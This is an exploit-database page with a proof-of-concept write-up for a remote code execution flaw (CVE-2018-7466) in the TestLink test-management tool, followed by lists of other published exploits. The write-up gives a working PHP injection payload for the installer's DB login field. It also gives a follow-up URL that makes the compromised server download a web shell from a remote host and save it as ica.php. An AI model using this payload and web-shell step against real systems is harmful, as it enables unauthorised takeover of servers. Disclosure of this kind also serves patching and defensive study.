Menu

Search for hundreds of thousands of exploits

"TestLink Open Source Test Management < 1.9.16 - Remote Code Execution (PoC)"

Author

Exploit author

"Manish Tanwar"

Platform

Exploit platform

linux

Release date

Exploit published date

2018-03-27

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
# Title: TestLink Open Source Test Management(<= 1.9.16) Remote Code Execution By Manish (error1046)
Vendor Home Page: http://testlink.org

Disovered At: Indishell Lab

CVE ID: CVE-2018-7466

///////////
//OverView
///////////

Testlink (Version Below 1.9.17) is vulnerable to Remote Code Execution.
Vulnerable code is in file "install/installNewDB.php". Testlink allows user to re-install it and when user visits "/install/" directory and reachs to "Database detail" page i.e "install/installNewDB.php", user can specifiy PHP code in  "TestLink DB login" field.
After successful installation, PHP code will get save in config file.


Exploitation

During installation process, script first try to connect MySQL "root" user account (supplied by user during installation phase), if script is able to connect to MySQL server (locally or remotly hosted), process of CMS installation goes further.

Script save MySQL server host, username and password in config file.

Here attacker can take advantage of this process to write PHP code in config file.

To do this, attacker need to setup MySQL server on a machine and MySQL server must be configure to accept connection from remote IP (which can be done easily by changing parameter in my.cnf file).

To configure MySQL server open to remote connection, just open my.cnf file and do below mentioned steps
 
 -> comment out skip-networking  as well as bind-address (if any present in my.cnf )i.e change line 
 
 			skip-networking 
    		to 
			# skip-networking
    
		and 
    
			bind-address    = some_ip
			to
			#bind-address = some_ip
  
	save the my.cnf file. reload/restart MySQL server and your mysql server will accept remote connection from any remote IP
 
 Now, you need to configure MySQL root user in such way so that when remote script try to connect to MySQL server root user, it allows remote script.
 
 When attacker provide credentials of a Remote MySQL server which is attacker controlled and listening for remote connection, attacker just need to specify the remote MySQL server IP, root users username, password and need to specify below mentioned PHP code in "TestLink DB login" field (or in HTTP POST parameter tl_loginname).
   
 	"box');file_put_contents($_GET[1],file_get_contents($_GET[2]));//"
 
 Once script establish successful connection to root user account of remote MySQL server, it will create MySQL user with name
"box');file_put_contents($_GET[1],file_get_contents($_GET[2]));//" and will write this username name in config_db.inc.php file. After that attacker just need to need to access the config file config_db.inc.php with following GET hethod HTTP parameters

    http://testlink/config_db.inc.php?1=ica.php&2=http://remote_server/php_web_shell.txt

It will dump PHP web shell in base directory with name ica.php.

![POC](https://raw.githubusercontent.com/incredibleindishell/exploit-code-by-me/master/TestLink%20-below%201.9.17-%20Remote%20Code%20Execution/testlink%20POC.png)

--==[[ Greetz To ]]==--

	Guru ji zero ,code breaker ica, root_devil, google_warrior,INX_r0ot,Darkwolf indishell,Baba,
	Silent poison India,Magnum sniper,ethicalnoob Indishell,Reborn India,L0rd Crus4d3r,cool toad,
	Hackuin,Alicks,mike waals,cyber gladiator,Cyber Ace,Golden boy INDIA,d3, rafay baloch, nag256
	Ketan Singh,AR AR,saad abbasi,Minhal Mehdi ,Raj bhai ji ,Hacking queen,lovetherisk,Bikash Dash

--==[[Love to]]==--

	My Father ,my Ex Teacher,cold fire hacker,Mannu, ViKi ,Ashu bhai ji,Soldier Of God, Bhuppi,Gujjar PCP
	Mohit,Ffe,Ashish,Shardhanand,Budhaoo,Jagriti,Salty, Hacker fantastic, Jennifer Arcuri and Don(Deepika kaushik)
Release Date Title Type Platform Author
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-11-27 "libupnp 1.6.18 - Stack-based buffer overflow (DoS)" dos linux "Patrik Lantz"
2020-11-24 "ZeroShell 3.9.0 - 'cgi-bin/kerbynet' Remote Root Command Injection (Metasploit)" webapps linux "Giuseppe Fuggiano"
2020-10-28 "Oracle Business Intelligence Enterprise Edition 5.5.0.0.0 / 12.2.1.3.0 / 12.2.1.4.0 - 'getPreviewImage' Directory Traversal/Local File Inclusion" webapps linux "Ivo Palazzolo"
2020-10-28 "Blueman < 2.1.4 - Local Privilege Escalation" local linux "Vaisha Bernard"
2020-10-28 "PackageKit < 1.1.13 - File Existence Disclosure" local linux "Vaisha Bernard"
2020-10-28 "aptdaemon < 1.1.1 - File Existence Disclosure" local linux "Vaisha Bernard"
2020-09-11 "Gnome Fonts Viewer 3.34.0 - Heap Corruption" local linux "Cody Winkler"
2020-07-10 "Aruba ClearPass Policy Manager 6.7.0 - Unauthenticated Remote Command Execution" remote linux SpicyItalian
2020-07-06 "Grafana 7.0.1 - Denial of Service (PoC)" dos linux mostwanted002
Release Date Title Type Platform Author
2018-03-27 "TestLink Open Source Test Management < 1.9.16 - Remote Code Execution (PoC)" remote linux "Manish Tanwar"
2018-03-02 "TestLink Open Source Test Management < 1.9.16 - Remote Code Execution" remote php "Manish Tanwar"
2017-10-22 "WordPress Plugin Polls 1.2.4 - SQL Injection (PoC)" remote php "Manish Tanwar"
2017-07-04 "Joomla! 3.7 - SQL Injection" remote php "Manish Tanwar"
2017-02-03 "Posnic Stock Management System - SQL Injection" remote php "Manish Tanwar"
2017-01-26 "PHPBack < 1.3.1 - SQL Injection / Cross-Site Scripting" webapps php "Manish Tanwar"
2016-01-05 "Online Airline Booking System - Multiple Vulnerabilities" webapps php "Manish Tanwar"
2015-10-26 "Joomla! 3.2.x < 3.4.4 - SQL Injection" webapps php "Manish Tanwar"
2015-08-26 "Magento eCommerce - Remote Code Execution" webapps xml "Manish Tanwar"
2015-08-25 "vBulletin 3.6.0 < 4.2.3 - 'ForumRunner' SQL Injection" webapps php "Manish Tanwar"
2015-06-19 "Lively Cart - SQL Injection" webapps multiple "Manish Tanwar"
2015-04-09 "WordPress Plugin Windows Desktop and iPhone Photo Uploader - Arbitrary File Upload" webapps php "Manish Tanwar"
2015-03-22 "Joomla! Component Spider FAQ - SQL Injection" webapps php "Manish Tanwar"
2015-01-22 "ecommerceMajor - SQL Injection / Authentication Bypass" webapps php "Manish Tanwar"
2014-12-23 "PHPMyRecipes 1.2.2 - 'browse.php?category' SQL Injection" webapps php "Manish Tanwar"
2014-12-08 "PBBoard CMS - Persistent Cross-Site Scripting" webapps php "Manish Tanwar"
2014-05-20 "Clipperz Password Manager - '/backend/PHP/src/setup/rpc.php' Remote Code Execution" webapps php "Manish Tanwar"
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.